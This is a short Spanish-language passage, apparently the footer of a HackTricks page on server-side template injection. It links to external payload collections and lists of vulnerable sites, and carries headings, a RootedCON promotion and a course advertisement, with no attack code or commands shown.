Consulta el resto de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para más exploits. También puedes encontrar información interesante sobre etiquetas en https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Ayuda relacionada

Si crees que podría ser útil, lee:

Herramientas

Lista de detección de fuerza bruta

Práctica y referencias

​​​RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro clave para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización